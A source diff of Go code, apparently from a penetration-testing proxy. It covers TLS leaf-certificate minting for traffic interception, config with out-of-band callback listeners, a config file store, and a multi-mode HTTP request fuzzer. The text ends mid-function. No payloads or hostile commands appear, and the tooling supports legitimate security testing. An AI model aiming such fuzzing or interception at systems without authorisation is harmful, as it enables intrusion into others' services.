func GenerateLeaf(ca *CA, hostname string) (*tls.Certificate, error) {
|
||||
key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("generating leaf key: %w", err)
|
||||
}
|
||||
|
||||
serial, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128))
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("generating serial: %w", err)
|
||||
}
|
||||
|
||||
template := &x509.Certificate{
|
||||
SerialNumber: serial,
|
||||
Subject: pkix.Name{CommonName: hostname},
|
||||
NotBefore: time.Now().Add(-time.Hour),
|
||||
NotAfter: time.Now().Add(24 * time.Hour),
|
||||
KeyUsage: x509.KeyUsageDigitalSignature,
|
||||
ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
|
||||
}
|
||||
|
||||
// Support both DNS names and IP addresses.
|
||||
if ip := net.ParseIP(hostname); ip != nil {
|
||||
template.IPAddresses = []net.IP{ip}
|
||||
} else {
|
||||
template.DNSNames = []string{hostname}
|
||||
}
|
||||
|
||||
certDER, err := x509.CreateCertificate(rand.Reader, template, ca.Cert, &key.PublicKey, ca.Key)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("creating leaf cert: %w", err)
|
||||
}
|
||||
|
||||
certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER})
|
||||
|
||||
keyDER, err := x509.MarshalECPrivateKey(key)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("marshaling leaf key: %w", err)
|
||||
}
|
||||
keyPEM := pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER})
|
||||
|
||||
cert, err := tls.X509KeyPair(certPEM, keyPEM)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("creating key pair: %w", err)
|
||||
}
|
||||
|
||||
return &cert, nil
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
// Config holds application-wide configuration.
|
||||
type Config struct {
|
||||
BindAddr string
|
||||
ProxyPort int
|
||||
UIPort int
|
||||
DataDir string
|
||||
Dev bool
|
||||
ViteURL string
|
||||
Listener bool
|
||||
CallbackDNSPort int
|
||||
CallbackHTTPPort int
|
||||
CallbackHTTPSPort int
|
||||
CallbackDomain string
|
||||
CallbackResponseIP string
|
||||
TeamServer bool
|
||||
DisableUpdateChecks bool
|
||||
}
|
||||
|
||||
// Default returns a Config populated with sensible defaults.
|
||||
func Default() Config {
|
||||
homeDir, _ := os.UserHomeDir()
|
||||
return Config{
|
||||
BindAddr: "127.0.0.1",
|
||||
ProxyPort: 8080,
|
||||
UIPort: 9090,
|
||||
DataDir: filepath.Join(homeDir, ".joro"),
|
||||
ViteURL: "http://localhost:5173",
|
||||
CallbackDNSPort: 53,
|
||||
CallbackHTTPPort: 80,
|
||||
CallbackHTTPSPort: 443,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,152 @@
|
||||
package configstore
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
)
|
||||
|
||||
var validName = regexp.MustCompile(`^[a-zA-Z0-9_-]+$`)
|
||||
|
||||
// Store handles reading and writing named configuration files.
|
||||
type Store struct {
|
||||
dataDir string
|
||||
}
|
||||
|
||||
// NewStore creates a Store rooted at the given data directory.
|
||||
func NewStore(dataDir string) *Store {
|
||||
return &Store{dataDir: dataDir}
|
||||
}
|
||||
|
||||
// dir returns the directory for the given config type.
|
||||
func (s *Store) dir(configType string) string {
|
||||
return filepath.Join(s.dataDir, "configs", configType)
|
||||
}
|
||||
|
||||
// ValidateName checks that a config name is safe for use as a filename.
|
||||
func ValidateName(name string) error {
|
||||
if name == "" {
|
||||
return fmt.Errorf("config name must not be empty")
|
||||
}
|
||||
if !validName.MatchString(name) {
|
||||
return fmt.Errorf("config name must contain only letters, digits, hyphens, and underscores")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// List returns the names of all saved configs of the given type.
|
||||
func (s *Store) List(configType string) ([]string, error) {
|
||||
dir := s.dir(configType)
|
||||
entries, err := os.ReadDir(dir)
|
||||
if err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return []string{}, nil
|
||||
}
|
||||
return nil, err
|
||||
}
|
||||
seen := make(map[string]struct{})
|
||||
var names []string
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
n := e.Name()
|
||||
var cut string
|
||||
var ok bool
|
||||
if cut, ok = strings.CutSuffix(n, ".joro"); !ok {
|
||||
cut, ok = strings.CutSuffix(n, ".json")
|
||||
}
|
||||
if ok {
|
||||
if _, dup := seen[cut]; !dup {
|
||||
seen[cut] = struct{}{}
|
||||
names = append(names, cut)
|
||||
}
|
||||
}
|
||||
}
|
||||
if names == nil {
|
||||
names = []string{}
|
||||
}
|
||||
return names, nil
|
||||
}
|
||||
|
||||
// Save writes data as a named config file.
|
||||
func (s *Store) Save(configType, name string, data []byte) error {
|
||||
if err := ValidateName(name); err != nil {
|
||||
return err
|
||||
}
|
||||
dir := s.dir(configType)
|
||||
if err := os.MkdirAll(dir, 0o700); err != nil {
|
||||
return err
|
||||
}
|
||||
return os.WriteFile(filepath.Join(dir, name+".json"), data, 0o600)
|
||||
}
|
||||
|
||||
// Load reads a named config file and returns its contents.
|
||||
func (s *Store) Load(configType, name string) ([]byte, error) {
|
||||
if err := ValidateName(name); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return os.ReadFile(filepath.Join(s.dir(configType), name+".json"))
|
||||
}
|
||||
|
||||
// SaveGzip writes gzip-compressed data as a .joro config file and removes any stale .json file.
|
||||
func (s *Store) SaveGzip(configType, name string, data []byte) error {
|
||||
if err := ValidateName(name); err != nil {
|
||||
return err
|
||||
}
|
||||
dir := s.dir(configType)
|
||||
if err := os.MkdirAll(dir, 0o700); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := os.WriteFile(filepath.Join(dir, name+".joro"), data, 0o600); err != nil {
|
||||
return err
|
||||
}
|
||||
// Remove stale .json if it exists.
|
||||
_ = os.Remove(filepath.Join(dir, name+".json"))
|
||||
return nil
|
||||
}
|
||||
|
||||
// LoadAny tries to load a config by name, preferring .joro then falling back to .json.
|
||||
func (s *Store) LoadAny(configType, name string) ([]byte, error) {
|
||||
if err := ValidateName(name); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
dir := s.dir(configType)
|
||||
data, err := os.ReadFile(filepath.Join(dir, name+".joro"))
|
||||
if err == nil {
|
||||
return data, nil
|
||||
}
|
||||
return os.ReadFile(filepath.Join(dir, name+".json"))
|
||||
}
|
||||
|
||||
// DeleteAll removes both .joro and .json files for a named config.
|
||||
// Returns an error only if neither file existed.
|
||||
func (s *Store) DeleteAll(configType, name string) error {
|
||||
if err := ValidateName(name); err != nil {
|
||||
return err
|
||||
}
|
||||
dir := s.dir(configType)
|
||||
errJoro := os.Remove(filepath.Join(dir, name+".joro"))
|
||||
errJSON := os.Remove(filepath.Join(dir, name+".json"))
|
||||
if errJoro != nil && os.IsNotExist(errJoro) && errJSON != nil && os.IsNotExist(errJSON) {
|
||||
return fmt.Errorf("config %q not found", name)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Delete removes a named config file.
|
||||
func (s *Store) Delete(configType, name string) error {
|
||||
if err := ValidateName(name); err != nil {
|
||||
return err
|
||||
}
|
||||
path := filepath.Join(s.dir(configType), name+".json")
|
||||
if err := os.Remove(path); err != nil {
|
||||
if os.IsNotExist(err) {
|
||||
return fmt.Errorf("config %q not found", name)
|
||||
}
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
package event
|
||||
|
||||
// WSEvent is a WebSocket event broadcast to all connected clients.
|
||||
type WSEvent struct {
|
||||
Type string `json:"type"`
|
||||
Data any `json:"data"`
|
||||
}
|
||||
@@ -0,0 +1,649 @@
|
||||
package fuzzer
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io"
|
||||
"regexp"
|
||||
"sort"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
|
||||
"github.com/BishopFox/joro/internal/event"
|
||||
"github.com/BishopFox/joro/internal/proxy"
|
||||
)
|
||||
|
||||
// FilterType enumerates the criteria for matchers and filters.
|
||||
type FilterType string
|
||||
|
||||
const (
|
||||
FilterStatus FilterType = "status"
|
||||
FilterSize FilterType = "size"
|
||||
FilterWordCount FilterType = "words"
|
||||
FilterLineCount FilterType = "lines"
|
||||
FilterRegex FilterType = "regex"
|
||||
)
|
||||
|
||||
// AttackMode determines how multiple positions and wordlists are combined.
|
||||
type AttackMode string
|
||||
|
||||
const (
|
||||
AttackSpray AttackMode = "spray" // Same payload in all positions
|
||||
AttackSplit AttackMode = "split" // Parallel iteration (row by row)
|
||||
AttackYolo AttackMode = "yolo" // Cartesian product of all combinations
|
||||
)
|
||||
|
||||
var positionRegex = regexp.MustCompile(`FUZZ(\d+)`)
|
||||
|
||||
// DetectPositions scans raw request bytes and returns sorted unique position
|
||||
// labels found (e.g., ["FUZZ1", "FUZZ2"]). If none found but "FUZZ" exists,
|
||||
// returns ["FUZZ"] for single-position mode.
|
||||
func DetectPositions(raw []byte) []string {
|
||||
matches := positionRegex.FindAll(raw, -1)
|
||||
seen := make(map[string]struct{})
|
||||
for _, m := range matches {
|
||||
seen[string(m)] = struct{}{}
|
||||
}
|
||||
if len(seen) > 0 {
|
||||
positions := make([]string, 0, len(seen))
|
||||
for p := range seen {
|
||||
positions = append(positions, p)
|
||||
}
|
||||
sort.Slice(positions, func(i, j int) bool {
|
||||
ni, _ := strconv.Atoi(positions[i][4:])
|
||||
nj, _ := strconv.Atoi(positions[j][4:])
|
||||
return ni < nj
|
||||
})
|
||||
return positions
|
||||
}
|
||||
if bytes.Contains(raw, []byte("FUZZ")) {
|
||||
return []string{"FUZZ"}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Matcher selects results to include in output (whitelist).
|
||||
type Matcher struct {
|
||||
Type FilterType `json:"type"`
|
||||
Value string `json:"value"`
|
||||
}
|
||||
|
||||
// Filter removes matching results from output (blacklist).
|
||||
type Filter struct {
|
||||
Type FilterType `json:"type"`
|
||||
Value string `json:"value"`
|
||||
}
|
||||
|
||||
// Config holds the parameters for a fuzzer campaign.
|
||||
type Config struct {
|
||||
RawRequest []byte
|
||||
Scheme string
|
||||
Host string
|
||||
Wordlist []string // Single-position wordlist
|
||||
Wordlists map[string][]string // Multi-position: position label → wordlist
|
||||
Positions []string // Ordered position labels (e.g., ["FUZZ1", "FUZZ2"])
|
||||
AttackMode AttackMode // spray, split, yolo
|
||||
Threads int
|
||||
RateLimit float64
|
||||
FollowRedirects bool
|
||||
UpdateContentLength bool
|
||||
FuzzKeyword string
|
||||
Matchers []Matcher
|
||||
Filters []Filter
|
||||
MatcherMode string // "or" (default) or "and"
|
||||
FilterMode string // "or" (default) or "and"
|
||||
MaxStoredBodies int // Max results to store full req/resp for (0 = unlimited)
|
||||
}
|
||||
|
||||
// Result holds the outcome of a single fuzz request.
|
||||
type Result struct {
|
||||
Index int `json:"index"`
|
||||
Payload string `json:"payload"`
|
||||
Payloads map[string]string `json:"payloads,omitempty"` // Multi-position: position → payload
|
||||
StatusCode int `json:"statusCode"`
|
||||
Size int `json:"size"`
|
||||
Words int `json:"words"`
|
||||
Lines int `json:"lines"`
|
||||
DurationMs int64 `json:"durationMs"`
|
||||
URL string `json:"url"`
|
||||
Error string `json:"error,omitempty"`
|
||||
Matched bool `json:"matched"`
|
||||
Filtered bool `json:"filtered"`
|
||||
ReqRaw []byte `json:"-"` // Raw HTTP request bytes (excluded from WS/list JSON)
|
||||
RespRaw []byte `json:"-"` // Raw HTTP response bytes (excluded from WS/list JSON)
|
||||
}
|
||||
|
||||
// CampaignStatus represents the lifecycle state of a campaign.
|
||||
type CampaignStatus string
|
||||
|
||||
const (
|
||||
StatusRunning CampaignStatus = "running"
|
||||
StatusStopped CampaignStatus = "stopped"
|
||||
StatusComplete CampaignStatus = "complete"
|
||||
)
|
||||
|
||||
// Campaign is a running or completed fuzzer campaign.
|
||||
type Campaign struct {
|
||||
ID string `json:"id"`
|
||||
Status CampaignStatus `json:"status"`
|
||||
CreatedAt time.Time `json:"createdAt"`
|
||||
Config Config `json:"-"`
|
||||
Total int `json:"total"`
|
||||
Completed int64 `json:"completed"`
|
||||
Errors int64 `json:"errors"`
|
||||
|
||||
mu sync.RWMutex
|
||||
results []Result
|
||||
cancel context.CancelFunc
|
||||
storedBodies int64 // atomic: number of results with stored req/resp
|
||||
maxStoredBodies int64 // max results to store bodies for
|
||||
}
|
||||
|
||||
// Results returns a copy of the current results slice.
|
||||
func (c *Campaign) Results() []Result {
|
||||
c.mu.RLock()
|
||||
defer c.mu.RUnlock()
|
||||
out := make([]Result, len(c.results))
|
||||
copy(out, c.results)
|
||||
return out
|
||||
}
|
||||
|
||||
// GetResult returns a result by its Index field, or false if not found.
|
||||
func (c *Campaign) GetResult(index int) (Result, bool) {
|
||||
c.mu.RLock()
|
||||
defer c.mu.RUnlock()
|
||||
for _, r := range c.results {
|
||||
if r.Index == index {
|
||||
return r, true
|
||||
}
|
||||
}
|
||||
return Result{}, false
|
||||
}
|
||||
|
||||
// ResultsPage returns a paginated slice of results.
|
||||
func (c *Campaign) ResultsPage(offset, limit int) ([]Result, int) {
|
||||
c.mu.RLock()
|
||||
defer c.mu.RUnlock()
|
||||
total := len(c.results)
|
||||
if offset >= total {
|
||||
return nil, total
|
||||
}
|
||||
end := offset + limit
|
||||
if end > total {
|
||||
end = total
|
||||
}
|
||||
page := make([]Result, end-offset)
|
||||
copy(page, c.results[offset:end])
|
||||
return page, total
|
||||
}
|
||||
|
||||
// Cancel stops the campaign.
|
||||
func (c *Campaign) Cancel() {
|
||||
if c.cancel != nil {
|
||||
c.cancel()
|
||||
}
|
||||
}
|
||||
|
||||
// GenerateID returns a random 32-char hex string.
|
||||
func GenerateID() string {
|
||||
b := make([]byte, 16)
|
||||
rand.Read(b) //nolint:errcheck
|
||||
return hex.EncodeToString(b)
|
||||
}
|
||||
|
||||
// CalcTotal returns the number of requests a campaign will generate.
|
||||
func CalcTotal(cfg Config) int {
|
||||
if len(cfg.Positions) <= 1 {
|
||||
return len(cfg.Wordlist)
|
||||
}
|
||||
switch cfg.AttackMode {
|
||||
case AttackSpray:
|
||||
if wl, ok := cfg.Wordlists[cfg.Positions[0]]; ok {
|
||||
return len(wl)
|
||||
}
|
||||
return len(cfg.Wordlist)
|
||||
case AttackSplit:
|
||||
minLen := len(cfg.Wordlists[cfg.Positions[0]])
|
||||
for _, pos := range cfg.Positions[1:] {
|
||||
if l := len(cfg.Wordlists[pos]); l < minLen {
|
||||
minLen = l
|
||||
}
|
||||
}
|
||||
return minLen
|
||||
case AttackYolo:
|
||||
product := 1
|
||||
for _, pos := range cfg.Positions {
|
||||
product *= len(cfg.Wordlists[pos])
|
||||
}
|
||||
return product
|
||||
}
|
||||
return 0
|
||||
}
|
||||
|
||||
// NewCampaign creates a campaign ready to run.
|
||||
func NewCampaign(cfg Config, cancel context.CancelFunc) *Campaign {
|
||||
total := CalcTotal(cfg)
|
||||
maxBodies := int64(cfg.MaxStoredBodies)
|
||||
if maxBodies <= 0 {
|
||||
maxBodies = 1000 // default
|
||||
}
|
||||
return &Campaign{
|
||||
ID: GenerateID(),
|
||||
Status: StatusRunning,
|
||||
CreatedAt: time.Now().UTC(),
|
||||
Config: cfg,
|
||||
Total: total,
|
||||
results: make([]Result, 0, total),
|
||||
cancel: cancel,
|
||||
maxStoredBodies: maxBodies,
|
||||
}
|
||||
}
|
||||
|
||||
type workItem struct {
|
||||
index int
|
||||
payloads map[string]string // position label → payload value
|
||||
}
|
||||
|
||||
// Run executes the fuzzer campaign. It blocks until all payloads are processed or ctx is cancelled.
|
||||
func Run(ctx context.Context, campaign *Campaign, transport *proxy.TransportConfig, broadcast chan<- any) {
|
||||
cfg := campaign.Config
|
||||
|
||||
h2Cache := proxy.NewH2TransportCache(transport)
|
||||
defer h2Cache.Close()
|
||||
|
||||
// Rate limiter
|
||||
var limiter <-chan time.Time
|
||||
if cfg.RateLimit > 0 {
|
||||
ticker := time.NewTicker(time.Duration(float64(time.Second) / cfg.RateLimit))
|
||||
defer ticker.Stop()
|
||||
limiter = ticker.C
|
||||
}
|
||||
|
||||
work := make(chan workItem, cfg.Threads)
|
||||
|
||||
// Pre-compile regexes for matchers/filters
|
||||
matcherRegexes := compileRegexes(cfg.Matchers)
|
||||
filterRegexes := compileFilterRegexes(cfg.Filters)
|
||||
|
||||
var wg sync.WaitGroup
|
||||
for i := 0; i < cfg.Threads; i++ {
|
||||
wg.Add(1)
|
||||
go func() {
|
||||
defer wg.Done()
|
||||
for item := range work {
|
||||
if limiter != nil {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-limiter:
|
||||
}
|
||||
}
|
||||
|
||||
storeBody := atomic.LoadInt64(&campaign.storedBodies) < campaign.maxStoredBodies
|
||||
result := executePayload(ctx, transport, h2Cache, cfg, item.index, item.payloads, storeBody)
|
||||
if storeBody && result.ReqRaw != nil {
|
||||
atomic.AddInt64(&campaign.storedBodies, 1)
|
||||
}
|
||||
result.Matched = applyMatchers(result, cfg.Matchers, cfg.MatcherMode, matcherRegexes)
|
||||
result.Filtered = applyFilters(result, cfg.Filters, cfg.FilterMode, filterRegexes)
|
||||
|
||||
campaign.mu.Lock()
|
||||
campaign.results = append(campaign.results, result)
|
||||
campaign.mu.Unlock()
|
||||
atomic.AddInt64(&campaign.Completed, 1)
|
||||
if result.Error != "" {
|
||||
atomic.AddInt64(&campaign.Errors, 1)
|
||||
}
|
||||
|
||||
broadcast <- event.WSEvent{
|
||||
Type: "fuzzer.result",
|
||||
Data: map[string]any{
|
||||
"campaignId": campaign.ID,
|
||||
"result": result,
|
||||
},
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// Producer: generates work items based on attack mode
|
||||
go func() {
|
||||
defer close(work)
|
||||
produceWorkItems(ctx, cfg, work)
|
||||
}()
|
||||
|
||||
wg.Wait()
|
||||
|
||||
campaign.mu.Lock()
|
||||
if ctx.Err() != nil {
|
||||
campaign.Status = StatusStopped
|
||||
} else {
|
||||
campaign.Status = StatusComplete
|
||||
}
|
||||
campaign.mu.Unlock()
|
||||
|
||||
broadcast <- event.WSEvent{
|
||||
Type: "fuzzer.complete",
|
||||
Data: map[string]any{
|
||||
"campaignId": campaign.ID,
|
||||
"status": string(campaign.Status),
|
||||
"completed": atomic.LoadInt64(&campaign.Completed),
|
||||
"errors": atomic.LoadInt64(&campaign.Errors),
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// produceWorkItems generates work items based on the attack mode and sends them to the work channel.
|
||||
func produceWorkItems(ctx context.Context, cfg Config, work chan<- workItem) {
|
||||
// Single-position mode
|
||||
if len(cfg.Positions) <= 1 {
|
||||
keyword := cfg.FuzzKeyword
|
||||
if keyword == "" {
|
||||
keyword = "FUZZ"
|
||||
}
|
||||
for i, payload := range cfg.Wordlist {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case work <- workItem{index: i, payloads: map[string]string{keyword: payload}}:
|
||||
}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// Multi-position modes
|
||||
switch cfg.AttackMode {
|
||||
case AttackSpray:
|
||||
// Same payload in all positions simultaneously
|
||||
wl := cfg.Wordlists[cfg.Positions[0]]
|
||||
for i, payload := range wl {
|
||||
payloads := make(map[string]string, len(cfg.Positions))
|
||||
for _, pos := range cfg.Positions {
|
||||
payloads[pos] = payload
|
||||
}
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case work <- workItem{index: i, payloads: payloads}:
|
||||
}
|
||||
}
|
||||
|
||||
case AttackSplit:
|
||||
// Parallel iteration: row by row across all wordlists
|
||||
total := CalcTotal(cfg)
|
||||
for i := 0; i < total; i++ {
|
||||
payloads := make(map[string]string, len(cfg.Positions))
|
||||
for _, pos := range cfg.Positions {
|
||||
payloads[pos] = cfg.Wordlists[pos][i]
|
||||
}
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case work <- workItem{index: i, payloads: payloads}:
|
||||
}
|
||||
}
|
||||
|
||||
case AttackYolo:
|
||||
// Cartesian product: odometer-style index array
|
||||
indices := make([]int, len(cfg.Positions))
|
||||
itemIndex := 0
|
||||
for {
|
||||
payloads := make(map[string]string, len(cfg.Positions))
|
||||
for j, pos := range cfg.Positions {
|
||||
payloads[pos] = cfg.Wordlists[pos][indices[j]]
|
||||
}
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case work <- workItem{index: itemIndex, payloads: payloads}:
|
||||
}
|
||||
itemIndex++
|
||||
|
||||
// Increment rightmost position first (odometer style)
|
||||
carry := true
|
||||
for j := len(indices) - 1; j >= 0 && carry; j-- {
|
||||
indices[j]++
|
||||
if indices[j] < len(cfg.Wordlists[cfg.Positions[j]]) {
|
||||
carry = false
|
||||
} else {
|
||||
indices[j] = 0
|
||||
}
|
||||
}
|
||||
if carry {
|
||||
break // all combinations exhausted
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func executePayload(ctx context.Context, tc *proxy.TransportConfig, h2Cache *proxy.H2TransportCache, cfg Config, index int, payloads map[string]string, storeBody bool) Result {
|
||||
// Build display payload string
|
||||
result := Result{
|
||||
Index: index,
|
||||
}
|
||||
if len(payloads) == 1 {
|
||||
for _, v := range payloads {
|
||||
result.Payload = v
|
||||
}
|
||||
} else {
|
||||
// Multi-position: pipe-delimited in position order, include Payloads map
|
||||
parts := make([]string, 0, len(cfg.Positions))
|
||||
for _, pos := range cfg.Positions {
|
||||
parts = append(parts, payloads[pos])
|
||||
}
|
||||
result.Payload = strings.Join(parts, " | ")
|
||||
result.Payloads = payloads
|
||||
}
|
||||
|
||||
// Apply replacements: sort positions by label length descending to avoid
|
||||
// FUZZ1 matching inside FUZZ10.
|
||||
sortedPositions := make([]string, 0, len(payloads))
|
||||
for pos := range payloads {
|
||||
sortedPositions = append(sortedPositions, pos)
|
||||
}
|
||||
sort.Slice(sortedPositions, func(i, j int) bool {
|
||||
return len(sortedPositions[i]) > len(sortedPositions[j])
|
||||
})
|
||||
|
||||
mutated := make([]byte, len(cfg.RawRequest))
|
||||
copy(mutated, cfg.RawRequest)
|
||||
for _, pos := range sortedPositions {
|
||||
mutated = bytes.ReplaceAll(mutated, []byte(pos), []byte(payloads[pos]))
|
||||
}
|
||||
|
||||
if cfg.UpdateContentLength {
|
||||
mutated = proxy.UpdateContentLength(mutated)
|
||||
}
|
||||
|
||||
scheme := cfg.Scheme
|
||||
if scheme == "" {
|
||||
scheme = "https"
|
||||
}
|
||||
host := cfg.Host
|
||||
result.URL = buildResultURL(scheme, host, mutated)
|
||||
|
||||
sendCtx, cancel := context.WithTimeout(ctx, 30*time.Second)
|
||||
defer cancel()
|
||||
|
||||
opts := proxy.SendOptions{
|
||||
FollowRedirects: cfg.FollowRedirects,
|
||||
Decompress: true,
|
||||
H2Transport: h2Cache.Get(host),
|
||||
}
|
||||
|
||||
start := time.Now()
|
||||
res, err := proxy.SendRawRequest(sendCtx, mutated, scheme, host, opts, tc)
|
||||
if err != nil {
|
||||
result.Error = fmt.Sprintf("request failed: %v", err)
|
||||
result.DurationMs = time.Since(start).Milliseconds()
|
||||
if storeBody {
|
||||
result.ReqRaw = mutated
|
||||
}
|
||||
return result
|
||||
}
|
||||
defer res.Response.Body.Close()
|
||||
result.DurationMs = res.Duration.Milliseconds()
|
||||
result.StatusCode = res.Response.StatusCode
|
||||
|
||||
body, err := io.ReadAll(io.LimitReader(res.Response.Body, 10<<20))
|
||||
if err != nil {
|
||||
result.Error = fmt.Sprintf("read body: %v", err)
|
||||
return result
|
||||
}
|
||||
|
||||
result.Size = len(body)
|
||||
result.Words = countWords(body)
|
||||
result.Lines = countLines(body)
|
||||
|
||||
if storeBody {
|
||||
result.ReqRaw = mutated
|
||||
result.RespRaw = res.RawResp
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// buildResultURL composes a display URL from the scheme, host, and the path in
|
||||
// the raw request line. If host is empty, it extracts the Host header from raw.
|
||||
func buildResultURL(scheme, host string, raw []byte) string {
|
||||
end := bytes.IndexAny(raw, "\r\n")
|
||||
if end < 0 {
|
||||
end = len(raw)
|
||||
}
|
||||
parts := bytes.Fields(raw[:end])
|
||||
path := "/"
|
||||
if len(parts) >= 2 {
|
||||
path = string(parts[1])
|
||||
}
|
||||
if host == "" {
|
||||
host = hostHeaderFromRaw(raw)
|
||||
}
|
||||
return scheme + "://" + host + path
|
||||
}
|
||||
|
||||
func hostHeaderFromRaw(raw []byte) string {
|
||||
headerEnd := bytes.Index(raw, []byte("\r\n\r\n"))
|
||||
if headerEnd < 0 {
|
||||
headerEnd = bytes.Index(raw, []byte("\n\n"))
|
||||
if headerEnd < 0 {
|
||||
return ""
|
||||
}
|
||||
}
|
||||
headers := bytes.ReplaceAll(raw[:headerEnd], []byte("\r\n"), []byte("\n"))
|
||||
for _, line := range bytes.Split(headers, []byte("\n")) {
|
||||
if i := bytes.IndexByte(line, ':'); i > 0 {
|
||||
if strings.EqualFold(string(line[:i]), "Host") {
|
||||
return strings.TrimSpace(string(line[i+1:]))
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func countWords(b []byte) int {
|
||||
return len(bytes.Fields(b))
|
||||
}
|
||||
|
||||
func countLines(b []byte) int {
|
||||
if len(b) == 0 {
|
||||
return 0
|
||||
}
|
||||
return bytes.Count(b, []byte("\n")) + 1
|
||||
}
|
||||
|
||||
// compileRegexes pre-compiles regex matchers.
|
||||
func compileRegexes(matchers []Matcher) map[int]*regexp.Regexp {
|
||||
regexes := make(map[int]*regexp.Regexp)
|
||||
for i, m := range matchers {
|
||||
if m.Type == FilterRegex {
|
||||
if re, err := regexp.Compile(m.Value); err == nil {
|
||||
regexes[i] = re
|
||||
}
|
||||
}
|
||||
}
|
||||
return regexes
|
||||
}
|
||||
|
||||
func compileFilterRegexes(filters []Filter) map[int]*regexp.Regexp {
|
||||
regexes := make(map[int]*regexp.Regexp)
|
||||
for i, f := range filters {
|
||||
if f.Type == FilterRegex {
|
||||
if re, err := regexp.Compile(f.Value); err == nil {
|
||||
regexes[i] = re
|
||||
}
|
||||
}
|
||||
}
|
||||
return regexes
|
||||
}
|
||||
|
||||
func applyMatchers(r Result, matchers []Matcher, mode string, regexes map[int]*regexp.Regexp) bool {
|
||||
if len(matchers) == 0 {
|
||||
return true // no matchers = match all
|
||||
}
|
||||
if mode == "" {
|
||||
mode = "or"
|
||||
}
|
||||
for i, m := range matchers {
|
||||
hit := matchesRule(r, m.Type, m.Value, regexes[i])
|
||||
if mode == "or" && hit {
|
||||
return true
|
||||
}
|
||||
if mode == "and" && !hit {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return mode == "and" // "and": all matched; "or": none matched
|
||||
}
|
||||
|
||||
func applyFilters(r Result, filters []Filter, mode string, regexes map[int]*regexp.Regexp) bool {
|
||||
if len(filters) == 0 {
|
||||
return false // no filters = nothing filtered out
|
||||
}
|
||||
if mode == "" {
|
||||
mode = "or"
|
||||
}
|
||||
for i, f := range filters {
|
||||
hit := matchesRule(r, f.Type, f.Value, regexes[i])
|
||||
if mode == "or" && hit {
|
||||
return true
|
||||
}
|
||||
if mode == "and" && !hit {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return mode == "and"
|
||||
}
|
||||
|
||||
func matchesRule(r Result, ruleType FilterType, value string, compiled *regexp.Regexp) bool {
|
||||
switch ruleType {
|
||||
case FilterStatus:
|
||||
return matchesCSVInt(value, r.StatusCode)
|
||||
case FilterSize:
|
||||
return matchesCSVInt(value, r.Size)
|
||||
case FilterWordCount:
|
||||
return matchesCSVInt(value, r.Words)
|
||||
case FilterLineCount:
|
||||
return matchesCSVInt(value, r.Lines)
|
||||
case FilterRegex:
|
||||
// Regex is matched against the URL for now (body not stored in result).
|
||||
// This is a simplification; a full impl would match against the response body.
|
||||
return compiled != nil && compiled.MatchString(r.URL)
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func matchesCSVInt(csv string, val int) bool {
|
||||
for _, s := range strings.Split(csv, ",") {
|
||||
if v, err := strconv.Atoi(strings.TrimSpace(s)); err == nil && v == val {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,67 @@
|
||||
package fuzzer
|
||||
|
||||
import "sync"
|
||||
|
||||
// Store holds fuzzer campaigns in memory.
|
||||
type Store struct {
|
||||
mu sync.RWMutex
|
||||
campaigns []*Campaign
|
||||
maxItems int
|
||||
}
|
||||
|
||||
// NewStore creates a new in-memory campaign store.
|
||||
func NewStore() *Store {
|
||||
return &Store{maxItems: 50}
|
||||
}
|
||||
|
||||
// Add registers a new campaign.
|
||||
func (s *Store) Add(c *Campaign) {
|
||||
s.mu.Lock()
|
||||
defer s.mu.Unlock()
|
||||
if len(s.campaigns) >= s.maxItems {
|
||||
// Evict the oldest completed/stopped campaign.
|
||||
for i, old := range s.campaigns {
|
||||
if old.Status != StatusRunning {
|
||||
s.campaigns = append(s.campaigns[:i], s.campaigns[i+1:]...)
|
||||
break
|
||||
}
